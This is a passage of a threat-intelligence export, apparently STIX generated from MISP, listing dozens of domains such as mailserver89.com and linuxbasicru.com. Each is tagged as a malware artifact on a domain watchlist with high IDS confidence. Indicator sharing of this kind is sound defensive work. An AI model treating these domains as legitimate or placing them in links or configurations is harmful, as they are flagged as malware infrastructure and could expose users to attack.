flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainsforfreehosting.com (MISP Attribute #18890) + Malware Artifacts + Domain Watchlist + Network activity: domainsforfreehosting.com (MISP Attribute #18890) + + + + + domainsforfreehosting.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: corn-ukr.com (MISP Attribute #18635) + Malware Artifacts + Domain Watchlist + Network activity: corn-ukr.com (MISP Attribute #18635) + + + + + corn-ukr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainsforsupport.com (MISP Attribute #18891) + Malware Artifacts + Domain Watchlist + Network activity: domainsforsupport.com (MISP Attribute #18891) + + + + + domainsforsupport.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: corn-fr-fr.com (MISP Attribute #18636) + Malware Artifacts + Domain Watchlist + Network activity: corn-fr-fr.com (MISP Attribute #18636) + + + + + corn-fr-fr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainsfortechhelp.com (MISP Attribute #18892) + Malware Artifacts + Domain Watchlist + Network activity: domainsfortechhelp.com (MISP Attribute #18892) + + + + + domainsfortechhelp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailserver89.org (MISP Attribute #18637) + Malware Artifacts + Domain Watchlist + Network activity: mailserver89.org (MISP Attribute #18637) + + + + + mailserver89.org + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: linuxbasichk.com (MISP Attribute #18893) + Malware Artifacts + Domain Watchlist + Network activity: linuxbasichk.com (MISP Attribute #18893) + + + + + linuxbasichk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailserver89.net (MISP Attribute #18638) + Malware Artifacts + Domain Watchlist + Network activity: mailserver89.net (MISP Attribute #18638) + + + + + mailserver89.net + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: linuxbasichk1.com (MISP Attribute #18894) + Malware Artifacts + Domain Watchlist + Network activity: linuxbasichk1.com (MISP Attribute #18894) + + + + + linuxbasichk1.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: srtnr.com (MISP Attribute #18639) + Malware Artifacts + Domain Watchlist + Network activity: srtnr.com (MISP Attribute #18639) + + + + + srtnr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: linuxbasicmy.com (MISP Attribute #18895) + Malware Artifacts + Domain Watchlist + Network activity: linuxbasicmy.com (MISP Attribute #18895) + + + + + linuxbasicmy.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailserver89.com (MISP Attribute #18640) + Malware Artifacts + Domain Watchlist + Network activity: mailserver89.com (MISP Attribute #18640) + + + + + mailserver89.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: linuxbasicru.com (MISP Attribute #18896) + Malware Artifacts + Domain Watchlist + Network activity: linuxbasicru.com (MISP Attribute #18896) + + + + + linuxbasicru.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailserveruk89.org (MISP Attribute #18641) + Malware Artifacts + Domain Watchlist + Network activity: mailserveruk89.org (MISP Attribute #18641) + + + + + mailserveruk89.org + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: linuxbasicru1.com (MISP Attribute #18897) + Malware Artifacts + Domain Watchlist + Network activity: linuxbasicru1.com (MISP Attribute #18897) + + + + + linuxbasicru1.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailserveruk89.net (MISP Attribute #18642) + Malware Artifacts + Domain Watchlist + Network activity: mailserveruk89.net (MISP Attribute #18642) + + + + + mailserveruk89.net + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: linuxbasicsg.com (MISP Attribute #18898) + Malware Artifacts + Domain Watchlist + Network activity: linuxbasicsg.com (MISP Attribute #18898) + + + + + linuxbasicsg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 2mblk.com (MISP Attribute #18643) + Malware Artifacts + Domain Watchlist + Network activity: 2mblk.com (MISP Attribute #18643) + + + + + 2mblk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: linuxbasicsg1.com (MISP Attribute #18899) + Malware Artifacts + Domain Watchlist + Network activity: linuxbasicsg1.com (MISP Attribute #18899) + + + + + linuxbasicsg1.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailserveruk89.com (MISP Attribute #18644) + Malware Artifacts + Domain Watchlist + Network activity: mailserveruk89.com (MISP Attribute #18644) + + + + + mailserveruk89.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostingserviceclean.com (MISP Attribute #18900) + Malware Artifacts + Domain Watchlist + Network activity: hostingserviceclean.com (MISP Attribute #18900) + + + + + hostingserviceclean.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mblk1.com (MISP Attribute #18645) + Malware Artifacts + Domain Watchlist + Network activity: mblk1.com (MISP Attribute #18645) + + + + + mblk1.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostingserviceforall.com (MISP Attribute #18901) + Malware Artifacts + Domain Watchlist + Network activity: hostingserviceforall.com (MISP Attribute #18901) + + + + + hostingserviceforall.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: un-told.net (MISP Attribute #18646) + Malware Artifacts + Domain Watchlist + Network activity: un-told.net (MISP Attribute #18646) + + + + + un-told.net + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostingservicesloyal.com (MISP Attribute #18902) + Malware Artifacts + Domain Watchlist + Network activity: hostingservicesloyal.com (MISP Attribute #18902) + + + + + hostingservicesloyal.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-website33.net (MISP Attribute #18647) + Malware Artifacts + Domain Watchlist + Network activity: com-website33.net (MISP Attribute #18647) + + + + + com-website33.net + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostingservicesukit.com (MISP Attribute #18903) + Malware Artifacts + Domain Watchlist + Network activity: hostingservicesukit.com (MISP Attribute #18903) + + + + + hostingservicesukit.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-website33.biz (MISP Attribute #18648) + Malware Artifacts + Domain Watchlist + Network activity: com-website33.biz (MISP Attribute #18648) + + + + + com-website33.biz + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: xpertmaildomain.com (MISP Attribute #18904) + Malware Artifacts + Domain Watchlist + Network activity: xpertmaildomain.com (MISP Attribute #18904) + + + + + xpertmaildomain.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-website33.com (MISP Attribute #18649) + Malware Artifacts + Domain Watchlist + Network activity: com-website33.com (MISP Attribute #18649) + + + + + com-website33.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: standardofficeholland.com (MISP Attribute #18905) + Malware Artifacts + Domain Watchlist + Network activity: standardofficeholland.com (MISP Attribute #18905) + + + + + standardofficeholland.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-website33.info (MISP Attribute #18650) + Malware Artifacts + Domain Watchlist + Network activity: com-website33.info (MISP Attribute #18650) + + + + + com-website33.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: standardofficeil.com (MISP Attribute #18906) + Malware Artifacts + Domain Watchlist + Network activity: standardofficeil.com (MISP Attribute #18906) + + + + + standardofficeil.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-website33.org (MISP Attribute #18651) + Malware Artifacts + Domain Watchlist + Network activity: com-website33.org (MISP Attribute #18651) + + + + + com-website33.org + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: standardofficeuk.com (MISP Attribute #18907) + Malware Artifacts + Domain Watchlist + Network activity: standardofficeuk.com (MISP Attribute #18907) + + + + + standardofficeuk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: browserextensions.info (MISP Attribute #18652) + Malware Artifacts + Domain Watchlist + Network activity: browserextensions.info (MISP Attribute #18652) + + + + + browserextensions.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: postserverem.com (MISP Attribute #18908) + Malware Artifacts + Domain Watchlist + Network activity: postserverem.com (MISP Attribute #18908) + + + + + postserverem.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: allaboutiot.website (MISP Attribute #18653) + Malware Artifacts + Domain Watchlist + Network activity: allaboutiot.website (MISP Attribute #18653) + + + + + allaboutiot.website + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverformailings.com (MISP Attribute #18909) + Malware Artifacts + Domain Watchlist + Network activity: serverformailings.com (MISP Attribute #18909) + + + + + serverformailings.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainserver322.com (MISP Attribute #18654) + Malware Artifacts + Domain Watchlist + Network activity: domainserver322.com (MISP Attribute #18654) + + + + + domainserver322.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverfornetworks.com (MISP Attribute #18910) + Malware Artifacts + Domain Watchlist + Network activity: serverfornetworks.com (MISP Attribute #18910) + + + + + serverfornetworks.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: searchsimple.info (MISP Attribute #18655) + Malware Artifacts + Domain Watchlist + Network activity: searchsimple.info (MISP Attribute #18655) + + + + + searchsimple.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverforzapper.com (MISP Attribute #18911) + Malware Artifacts + Domain Watchlist + Network activity: serverforzapper.com (MISP Attribute #18911) + + + + + serverforzapper.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ecom-servicelogin.com (MISP Attribute #18656) + Malware Artifacts + Domain Watchlist + Network activity: ecom-servicelogin.com (MISP Attribute #18656) + + + + + ecom-servicelogin.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serviceforneworder.com (MISP Attribute #18912) + Malware Artifacts + Domain Watchlist + Network activity: serviceforneworder.com (MISP Attribute #18912) + + + + + serviceforneworder.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: searchsimple.net (MISP Attribute #18657) + Malware Artifacts + Domain Watchlist + Network activity: searchsimple.net (MISP Attribute #18657) + + + + + searchsimple.net + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: loginservicehelp.com (MISP Attribute #18913) + Malware Artifacts + Domain Watchlist + Network activity: loginservicehelp.com (MISP Attribute #18913) + + + + + loginservicehelp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: sapserverhipe.com (MISP Attribute #18658) + Malware Artifacts + Domain Watchlist + Network activity: sapserverhipe.com (MISP Attribute #18658) + + + + + sapserverhipe.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: shortenurlservices.com (MISP Attribute #18914) + Malware Artifacts + Domain Watchlist + Network activity: shortenurlservices.com (MISP Attribute #18914) + + + + + shortenurlservices.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webserver91.website (MISP Attribute #18659) + Malware Artifacts + Domain Watchlist + Network activity: webserver91.website (MISP Attribute #18659) + + + + + webserver91.website + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostusewithtech.com (MISP Attribute #18915) + Malware Artifacts + Domain Watchlist + Network activity: hostusewithtech.com (MISP Attribute #18915) + + + + + hostusewithtech.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: phpwebserver34.site (MISP Attribute #18660) + Malware Artifacts + Domain Watchlist + Network activity: phpwebserver34.site (MISP Attribute #18660) + + + + + phpwebserver34.site + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: linuxhostingplatformuk.com (MISP Attribute #18916) + Malware Artifacts + Domain Watchlist + Network activity: linuxhostingplatformuk.com (MISP Attribute #18916) + + + + + linuxhostingplatformuk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: phpwebserver34.tech (MISP Attribute #18661) + Malware Artifacts + Domain Watchlist + Network activity: phpwebserver34.tech (MISP Attribute #18661) + + + + + phpwebserver34.tech + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: youranotherserver.com (MISP Attribute #18917) + Malware Artifacts + Domain Watchlist + Network activity: youranotherserver.com (MISP Attribute #18917) + + + + + youranotherserver.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: phpwebserver34.xyz (MISP Attribute #18662) + Malware Artifacts + Domain Watchlist + Network activity: phpwebserver34.xyz (MISP Attribute #18662) + + + + + phpwebserver34.xyz + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverforhiretech.com (MISP Attribute #18918) + Malware Artifacts + Domain Watchlist + Network activity: serverforhiretech.com (MISP Attribute #18918) + + + + + serverforhiretech.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: phpwebserver34.best (MISP Attribute #18663) + Malware Artifacts + Domain Watchlist + Network activity: phpwebserver34.best (MISP Attribute #18663) + + + + + phpwebserver34.best + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverfortechhelp.com (MISP Attribute #18919) + Malware Artifacts + Domain Watchlist + Network activity: serverfortechhelp.com (MISP Attribute #18919) + + + + + serverfortechhelp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: myfacetik.cf (MISP Attribute #18664) + Malware Artifacts + Domain Watchlist + Network activity: myfacetik.cf (MISP Attribute #18664) + + + + + myfacetik.cf + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: blogforpranks.com (MISP Attribute #18920) + Malware Artifacts + Domain Watchlist + Network activity: blogforpranks.com (MISP Attribute #18920) + + + + + blogforpranks.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: goomail.ml (MISP Attribute #18665) + Malware Artifacts + Domain Watchlist + Network activity: goomail.ml (MISP Attribute #18665) + + + + + goomail.ml + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: planyourexoticvacation.com (MISP Attribute #18921) + Malware Artifacts + Domain Watchlist + Network activity: planyourexoticvacation.com (MISP Attribute #18921) + + + + + planyourexoticvacation.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: websociofiles.com (MISP Attribute #18666) + Malware Artifacts + Domain Watchlist + Network activity: websociofiles.com (MISP Attribute #18666) + + + + + websociofiles.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: usewithcareathome.com (MISP Attribute #18922) + Malware Artifacts + Domain Watchlist + Network activity: usewithcareathome.com (MISP Attribute #18922) + + + + + usewithcareathome.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainmanager33.website (MISP Attribute #18667) + Malware Artifacts + Domain Watchlist + Network activity: domainmanager33.website (MISP Attribute #18667) + + + + + domainmanager33.website + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverforhome.com (MISP Attribute #18923) + Malware Artifacts + Domain Watchlist + Network activity: serverforhome.com (MISP Attribute #18923) + + + + + serverforhome.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainmanager33.com (MISP Attribute #18668) + Malware Artifacts + Domain Watchlist + Network activity: domainmanager33.com (MISP Attribute #18668) + + + + + domainmanager33.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: optionsothego.com (MISP Attribute #18924) + Malware Artifacts + Domain Watchlist + Network activity: optionsothego.com (MISP Attribute #18924) + + + + + optionsothego.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainmanager33.site (MISP Attribute #18669) + Malware Artifacts + Domain Watchlist + Network activity: domainmanager33.site (MISP Attribute #18669) + + + + + domainmanager33.site + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: anitmationworldnews.com (MISP Attribute #18925) + Malware Artifacts + Domain Watchlist + Network activity: anitmationworldnews.com (MISP Attribute #18925) + + + + + anitmationworldnews.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailtickr.com (MISP Attribute #18670) + Malware Artifacts + Domain Watchlist + Network activity: mailtickr.com (MISP Attribute #18670) + + + + + mailtickr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: servicegoingfar.com (MISP Attribute #18926) + Malware Artifacts + Domain Watchlist + Network activity: servicegoingfar.com (MISP Attribute #18926) + + + + + servicegoingfar.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: servergateway56.com (MISP Attribute #18671) + Malware Artifacts + Domain Watchlist + Network activity: servergateway56.com (MISP Attribute #18671) + + + + + servergateway56.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: trusteventservices.com (MISP Attribute #18927) + Malware Artifacts + Domain Watchlist + Network activity: trusteventservices.com (MISP Attribute #18927) + + + + + trusteventservices.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: servergateway33.com (MISP Attribute #18672) + Malware Artifacts + Domain Watchlist + Network activity: servergateway33.com (MISP Attribute #18672) + + + + + servergateway33.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: belowmargins.com (MISP Attribute #18928) + Malware Artifacts + Domain Watchlist + Network activity: belowmargins.com (MISP Attribute #18928) + + + + + belowmargins.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: msrfrgr.com (MISP Attribute #18673) + Malware Artifacts + Domain Watchlist + Network activity: msrfrgr.com (MISP Attribute #18673) + + + + + msrfrgr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostserverrus.com (MISP Attribute #18929) + Malware Artifacts + Domain Watchlist + Network activity: hostserverrus.com (MISP Attribute #18929) + + + + + hostserverrus.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: pageserverru.com (MISP Attribute #18674) + Malware Artifacts + Domain Watchlist + Network activity: pageserverru.com (MISP Attribute #18674) + + + + + pageserverru.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: registrationonlineeurope.com (MISP Attribute #18930) + Malware Artifacts + Domain Watchlist + Network activity: registrationonlineeurope.com (MISP Attribute #18930) + + + + + registrationonlineeurope.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverhello54.com (MISP Attribute #18675) + Malware Artifacts + Domain Watchlist + Network activity: serverhello54.com (MISP Attribute #18675) + + + + + serverhello54.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: tineeurl.com (MISP Attribute #18931) + Malware Artifacts + Domain Watchlist + Network activity: tineeurl.com (MISP Attribute #18931) + + + + + tineeurl.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: smtpserver466.com (MISP Attribute #18676) + Malware Artifacts + Domain Watchlist + Network activity: smtpserver466.com (MISP Attribute #18676) + + + + + smtpserver466.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: secureserverasia.com (MISP Attribute #18932) + Malware Artifacts + Domain Watchlist + Network activity: secureserverasia.com (MISP Attribute #18932) + + + + + secureserverasia.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webserver39.com (MISP Attribute #18677) + Malware Artifacts + Domain Watchlist + Network activity: webserver39.com (MISP Attribute #18677) + + + + + webserver39.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: secureservereurope.com (MISP Attribute #18933) + Malware Artifacts + Domain Watchlist + Network activity: secureservereurope.com (MISP Attribute #18933) + + + + + secureservereurope.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: linksrtnr.com (MISP Attribute #18678) + Malware Artifacts + Domain Watchlist + Network activity: linksrtnr.com (MISP Attribute #18678) + + + + + linksrtnr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverasiasap.com (MISP Attribute #18934) + Malware Artifacts + Domain Watchlist + Network activity: serverasiasap.com (MISP Attribute #18934) + + + + + serverasiasap.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: netmapservice.com (MISP Attribute #18679) + Malware Artifacts + Domain Watchlist + Network activity: netmapservice.com (MISP Attribute #18679) + + + + + netmapservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailservereurope.com (MISP Attribute #18935) + Malware Artifacts + Domain Watchlist + Network activity: mailservereurope.com (MISP Attribute #18935) + + + + + mailservereurope.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: imapserverholland.com (MISP Attribute #18680) + Malware Artifacts + Domain Watchlist + Network activity: imapserverholland.com (MISP Attribute #18680) + + + + + imapserverholland.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverloadbalance.com (MISP Attribute #18936) + Malware Artifacts + Domain Watchlist + Network activity: serverloadbalance.com (MISP Attribute #18936) + + + + + serverloadbalance.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webserveronline9.com (MISP Attribute #18681) + Malware Artifacts + Domain Watchlist + Network activity: webserveronline9.com (MISP Attribute #18681) + + + + + webserveronline9.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: frwrdrwr.com (MISP Attribute #18937) + Malware Artifacts + Domain Watchlist + Network activity: frwrdrwr.com (MISP Attribute #18937) + + + + + frwrdrwr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: getemailopens.com (MISP Attribute #18682) + Malware Artifacts + Domain Watchlist + Network activity: getemailopens.com (MISP Attribute #18682) + + + + + getemailopens.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: localserversa.com (MISP Attribute #18938) + Malware Artifacts + Domain Watchlist + Network activity: localserversa.com (MISP Attribute #18938) + + + + + localserversa.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: msrvrgeh.com (MISP Attribute #18683) + Malware Artifacts + Domain Watchlist + Network activity: msrvrgeh.com (MISP Attribute #18683) + + + + + msrvrgeh.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverdemoservice.com (MISP Attribute #18939) + Malware Artifacts + Domain Watchlist + Network activity: serverdemoservice.com (MISP Attribute #18939) + + + + + serverdemoservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: msrvrgh.com (MISP Attribute #18684) + Malware Artifacts + Domain Watchlist + Network activity: msrvrgh.com (MISP Attribute #18684) + + + + + msrvrgh.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: fastserverasia.com (MISP Attribute #18940) + Malware Artifacts + Domain Watchlist + Network activity: fastserverasia.com (MISP Attribute #18940) + + + + + fastserverasia.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emailserverholland.com (MISP Attribute #18685) + Malware Artifacts + Domain Watchlist + Network activity: emailserverholland.com (MISP Attribute #18685) + + + + + emailserverholland.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: fastservereurope.com (MISP Attribute #18941) + Malware Artifacts + Domain Watchlist + Network activity: fastservereurope.com (MISP Attribute #18941) + + + + + fastservereurope.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emailserverhk48.com (MISP Attribute #18686) + Malware Artifacts + Domain Watchlist + Network activity: emailserverhk48.com (MISP Attribute #18686) + + + + + emailserverhk48.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: fastserveruk.com (MISP Attribute #18942) + Malware Artifacts + Domain Watchlist + Network activity: fastserveruk.com (MISP Attribute #18942) + + + + + fastserveruk.com + + + + + High + Derived from MISP's 